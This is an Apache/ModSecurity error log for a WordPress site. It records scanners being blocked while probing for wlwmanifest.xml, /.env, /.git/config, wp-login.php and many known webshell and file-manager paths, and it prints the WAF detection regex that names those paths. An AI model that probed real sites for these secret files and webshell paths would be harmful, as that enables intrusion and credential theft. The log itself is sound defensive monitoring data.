[Sat May 09 14:56:55.513552 2026] [:error] [pid 9184:tid 9205] [client 34.82.81.216:61409] [client 34.82.81.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "af7at4jfODqb_i0Fm9-QDwAAAAg"]
[Sat May 09 14:56:55.908198 2026] [:error] [pid 9184:tid 9216] [client 34.82.81.216:63913] [client 34.82.81.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "af7at4jfODqb_i0Fm9-QEQAAABM"]
[Sat May 09 14:56:56.400729 2026] [:error] [pid 9187:tid 9274] [client 34.82.81.216:54099] [client 34.82.81.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "af7auBC7An6gkXsRsaGPAAAAAJU"]
[Sat May 09 14:56:56.852110 2026] [:error] [pid 9187:tid 9270] [client 34.82.81.216:64627] [client 34.82.81.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "af7auBC7An6gkXsRsaGPBgAAAJE"]
[Sat May 09 14:56:57.313490 2026] [:error] [pid 9187:tid 9276] [client 34.82.81.216:57999] [client 34.82.81.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "af7auRC7An6gkXsRsaGPEAAAAJc"]
[Sat May 09 14:56:57.689587 2026] [:error] [pid 9187:tid 9266] [client 34.82.81.216:63349] [client 34.82.81.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "af7auRC7An6gkXsRsaGPFgAAAI0"]
[Sat May 09 14:56:58.134750 2026] [:error] [pid 9293:tid 9308] [client 34.82.81.216:63343] [client 34.82.81.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "af7aupR__qEzV5O6Z2OXiQAAAMs"]
[Sat May 09 14:56:58.487366 2026] [:error] [pid 9187:tid 9276] [client 34.82.81.216:52896] [client 34.82.81.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "af7auhC7An6gkXsRsaGPKQAAAJc"]
[Sat May 09 18:57:03.569545 2026] [:error] [pid 9186:tid 9242] [client 194.62.107.240:37523] [client 194.62.107.240] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "af8S_xW4eFOEw1mKOgLshgAAAFA"]
[Sat May 09 21:28:55.467927 2026] [:error] [pid 55353:tid 55370] [client 136.144.19.175:23831] [client 136.144.19.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.19.175, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "af82lyDuyNO3XosoIYRIHQAAAQ8"]
[Sat May 09 21:28:55.470864 2026] [:error] [pid 55353:tid 55370] [client 136.144.19.175:23831] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Sun May 10 00:41:51.516037 2026] [:error] [pid 62831:tid 62854] [client 34.32.91.211:60968] [client 34.32.91.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "af9jz-YBNqNhtZ_l7qBXiAAAABU"]
[Sun May 10 03:55:39.650318 2026] [:error] [pid 62803:tid 62873] [client 104.234.53.175:60007] [client 104.234.53.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.53.175, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "af-RO05oy4jU7eVtNaXfwQAAAIk"]
[Sun May 10 03:55:39.654680 2026] [:error] [pid 62803:tid 62873] [client 104.234.53.175:60007] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Sun May 10 08:20:13.978790 2026] [:error] [pid 52634:tid 52645] [client 85.203.23.214:21011] [client 85.203.23.214] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "af_PPdwp8XoWCwFb54CRfgAAAMc"]
[Sun May 10 08:20:14.179342 2026] [:error] [pid 52634:tid 52658] [client 85.203.23.195:29693] [client 85.203.23.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "af_PPtwp8XoWCwFb54CRfwAAANQ"]
[Sun May 10 08:20:14.648622 2026] [:error] [pid 46417:tid 46426] [client 85.203.23.182:50101] [client 85.203.23.182] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/admin.php"] [unique_id "af_PPmInm7mhwgbe48ZnIwAAAQc"]
[Sun May 10 08:20:14.857222 2026] [:error] [pid 46330:tid 46369] [client 85.203.23.217:49241] [client 85.203.23.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "af_PPoztrhd3evDQvs815wAAAEE"]
[Sun May 10 08:20:15.052483 2026] [:error] [pid 46330:tid 46391] [client 85.203.23.185:29243] [client 85.203.23.185] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/users.php"] [unique_id "af_PP4ztrhd3evDQvs816AAAAE0"]
[Sun May 10 08:20:15.274105 2026] [:error] [pid 46331:tid 46386] [client 85.203.23.184:57485] [client 85.203.23.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "af_PPwP02hpYETwsZpgSGAAAAI0"]
[Sun May 10 08:20:15.458424 2026] [:error] [pid 46330:tid 46400] [client 85.203.23.176:29331] [client 85.203.23.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/enhanced-text-widget/analyst/src/403.php"] [unique_id "af_PP4ztrhd3evDQvs816QAAAFE"]
[Sun May 10 08:20:15.669633 2026] [:error] [pid 46330:tid 46402] [client 85.203.23.188:56707] [client 85.203.23.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "af_PP4ztrhd3evDQvs816gAAAFI"]
[Sun May 10 08:20:15.882465 2026] [:error] [pid 46330:tid 46378] [client 85.203.23.219:26563] [client 85.203.23.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/filemanager.php"] [unique_id "af_PP4ztrhd3evDQvs816wAAAEY"]
[Sun May 10 08:20:16.068671 2026] [:error] [pid 46417:tid 46429] [client 85.203.23.222:47731] [client 85.203.23.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/3PJcpMFsD8B.php"] [unique_id "af_PQGInm7mhwgbe48ZnJAAAAQo"]
[Sun May 10 08:20:21.280839 2026] [:error] [pid 52634:tid 52653] [client 85.203.23.204:24855] [client 85.203.23.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/fm.php"] [unique_id "af_PRdwp8XoWCwFb54CRgwAAAM8"]
[Sun May 10 08:20:21.471021 2026] [:error] [pid 46330:tid 46371] [client 85.203.23.219:45277] [client 85.203.23.219] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/"] [unique_id "af_PRYztrhd3evDQvs817gAAAEI"]
[Sun May 10 08:20:21.673515 2026] [:error] [pid 46330:tid 46379] [client 85.203.23.216:59619] [client 85.203.23.216] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-json/wp/v2/posts"] [unique_id "af_PRYztrhd3evDQvs817wAAAEc"]
[Sun May 10 08:20:21.888407 2026] [:error] [pid 46417:tid 46438] [client 85.203.23.166:41085] [client 85.203.23.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/"] [unique_id "af_PRWInm7mhwgbe48ZnJwAAARM"]
[Sun May 10 08:20:22.072293 2026] [:error] [pid 46330:tid 46411] [client 85.203.23.223:24071] [client 85.203.23.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/admin.php"] [unique_id "af_PRoztrhd3evDQvs818QAAAFc"]
[Sun May 10 08:20:24.065697 2026] [:error] [pid 46330:tid 46373] [client 85.203.23.182:38675] [client 85.203.23.182] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "af_PSIztrhd3evDQvs818gAAAEM"]
[Sun May 10 08:20:24.272846 2026] [:error] [pid 46329:tid 46356] [client 85.203.23.166:63975] [client 85.203.23.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/assets/images/selam.php"] [unique_id "af_PSOFo7Z2I88d0gPJPbwAAABc"]
[Sun May 10 08:20:26.060561 2026] [:error] [pid 46329:tid 46336] [client 85.203.23.166:27183] [client 85.203.23.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/item.php"] [unique_id "af_PSuFo7Z2I88d0gPJPcAAAAAM"]
[Sun May 10 08:20:26.268465 2026] [:error] [pid 46329:tid 46333] [client 85.203.23.176:28399] [client 85.203.23.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hello-plus/classes/ehp-sarang.php"] [unique_id "af_PSuFo7Z2I88d0gPJPcQAAAAA"]
[Sun May 10 08:20:26.469293 2026] [:error] [pid 46330:tid 46376] [client 85.203.23.202:28449] [client 85.203.23.202] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "af_PSoztrhd3evDQvs819AAAAEU"]
[Sun May 10 08:20:26.664678 2026] [:error] [pid 46417:tid 46435] [client 85.203.23.223:49395] [client 85.203.23.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-config-sample.php"] [unique_id "af_PSmInm7mhwgbe48ZnKwAAARA"]
[Sun May 10 08:20:26.868674 2026] [:error] [pid 52634:tid 52646] [client 85.203.23.212:26463] [client 85.203.23.212] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/admin/"] [unique_id "af_PStwp8XoWCwFb54CRhwAAAMg"]
[Sun May 10 08:20:27.076975 2026] [:error] [pid 52634:tid 52643] [client 85.203.23.177:56919] [client 85.203.23.177] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/404.php"] [unique_id "af_PS9wp8XoWCwFb54CRiAAAAMU"]
[Sun May 10 08:20:27.547663 2026] [:error] [pid 52634:tid 52641] [client 85.203.23.209:33613] [client 85.203.23.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/edit-tags.php"] [unique_id "af_PS9wp8XoWCwFb54CRiQAAAMM"]
[Sun May 10 08:20:27.868614 2026] [:error] [pid 52634:tid 52649] [client 85.203.23.210:44619] [client 85.203.23.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/system.php"] [unique_id "af_PS9wp8XoWCwFb54CRigAAAMs"]
[Sun May 10 08:20:28.074978 2026] [:error] [pid 46330:tid 46400] [client 85.203.23.170:43533] [client 85.203.23.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/"] [unique_id "af_PTIztrhd3evDQvs819QAAAFE"]
[Sun May 10 08:20:28.285744 2026] [:error] [pid 46330:tid 46394] [client 85.203.23.188:34283] [client 85.203.23.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/core.php"] [unique_id "af_PTIztrhd3evDQvs819gAAAE4"]
[Sun May 10 08:20:28.490806 2026] [:error] [pid 52634:tid 52655] [client 85.203.23.218:47055] [client 85.203.23.218] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-wlx.php"] [unique_id "af_PTNwp8XoWCwFb54CRiwAAANE"]
[Sun May 10 08:20:28.672362 2026] [:error] [pid 52634:tid 52647] [client 85.203.23.206:38353] [client 85.203.23.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/updates.php"] [unique_id "af_PTNwp8XoWCwFb54CRjQAAAMk"]
[Sun May 10 08:20:28.856558 2026] [:error] [pid 52634:tid 52653] [client 85.203.23.177:52647] [client 85.203.23.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/speculative8.php"] [unique_id "af_PTNwp8XoWCwFb54CRjgAAAM8"]
[Sun May 10 08:20:29.080070 2026] [:error] [pid 46331:tid 46372] [client 85.203.23.201:37465] [client 85.203.23.201] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "af_PTQP02hpYETwsZpgSHAAAAIc"]
[Sun May 10 08:20:29.271657 2026] [:error] [pid 52634:tid 52652] [client 85.203.23.188:46997] [client 85.203.23.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/PHPMailer/s"] [unique_id "af_PTdwp8XoWCwFb54CRjwAAAM4"]
[Sun May 10 08:20:29.473804 2026] [:error] [pid 46329:tid 46353] [client 85.203.23.171:29777] [client 85.203.23.171] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "af_PTeFo7Z2I88d0gPJPcwAAABQ"]
[Sun May 10 08:20:29.758219 2026] [:error] [pid 46330:tid 46378] [client 85.203.23.196:57439] [client 85.203.23.196] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/"] [unique_id "af_PTYztrhd3evDQvs81-QAAAEY"]
[Sun May 10 08:20:29.992286 2026] [:error] [pid 46330:tid 46409] [client 85.203.23.166:62369] [client 85.203.23.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/shell/"] [unique_id "af_PTYztrhd3evDQvs81-gAAAFU"]
[Sun May 10 08:20:30.180808 2026] [:error] [pid 46331:tid 46393] [client 85.203.23.220:46553] [client 85.203.23.220] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "af_PTgP02hpYETwsZpgSHQAAAJE"]
[Sun May 10 08:20:30.393262 2026] [:error] [pid 46329:tid 46350] [client 85.203.23.201:54179] [client 85.203.23.201] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/mah.php"] [unique_id "af_PTuFo7Z2I88d0gPJPdgAAABE"]
[Sun May 10 08:20:30.583743 2026] [:error] [pid 46329:tid 46339] [client 85.203.23.171:52067] [client 85.203.23.171] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/file.php"] [unique_id "af_PTuFo7Z2I88d0gPJPdwAAAAY"]
[Sun May 10 08:20:30.855707 2026] [:error] [pid 46329:tid 46337] [client 85.203.23.166:34831] [client 85.203.23.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/news-portal/sitebar.php"] [unique_id "af_PTuFo7Z2I88d0gPJPeAAAAAQ"]
[Sun May 10 08:20:31.059607 2026] [:error] [pid 46329:tid 46338] [client 85.203.23.196:52587] [client 85.203.23.196] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "af_PT-Fo7Z2I88d0gPJPeQAAAAU"]
[Sun May 10 08:20:31.286556 2026] [:error] [pid 46329:tid 46355] [client 85.203.23.169:46313] [client 85.203.23.169] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/"] [unique_id "af_PT-Fo7Z2I88d0gPJPewAAABY"]
